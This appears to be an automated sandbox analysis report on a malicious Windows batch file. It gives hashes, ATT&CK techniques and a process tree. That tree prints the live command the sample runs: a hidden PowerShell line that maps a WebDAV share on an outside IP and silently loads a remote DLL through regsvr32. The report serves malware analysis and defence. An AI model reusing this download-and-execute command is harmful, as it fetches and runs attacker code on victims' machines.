b55d20cf1f88c4c4fa4d69af794be06b9e6b6dba6e982fe8bec625b594c0455a

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 01:20

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General

Target

14214271933063625124.bat
Size

14KB
MD5

2133a748d31863f8db7ae862d4df63ed
SHA1

97139b6ffcbb5e6302c33d08cf6994ff9066833a
SHA256

725bf69de9d2f64ee1c621e361bf78257b8d3ba65dfc8b62d9db7c8823d82b9e
SHA512

369f8dc47cf1be1cae15295efdae04f57fd5913fd6ec1fae5f83d0cedd371e6295a360a878ac2e82c3e27969143b4e989a1a2168408b246d793e2e8df35aa75b
SSDEEP

384:gr8JWJQqQneAzqK40gb7YorR5XYxKuDLsZRau8:gYEQeA4DbsovATgZRau8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5056	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5056	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 2600	4584	cmd.exe	85
PID 4584 wrote to memory of 2600	4584	cmd.exe	85
PID 4584 wrote to memory of 5056	4584	cmd.exe	87
PID 4584 wrote to memory of 5056	4584	cmd.exe	87
PID 5056 wrote to memory of 2448	5056	powershell.exe	89
PID 5056 wrote to memory of 2448	5056	powershell.exe	89
PID 5056 wrote to memory of 216	5056	powershell.exe	90
PID 5056 wrote to memory of 216	5056	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\14214271933063625124.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\203121240518707.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2448
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\203121240518707.dll
    3⤵
    PID:216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0ojzipu.qo4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5056-5-0x0000011AB4860000-0x0000011AB4882000-memory.dmp

Filesize
136KB

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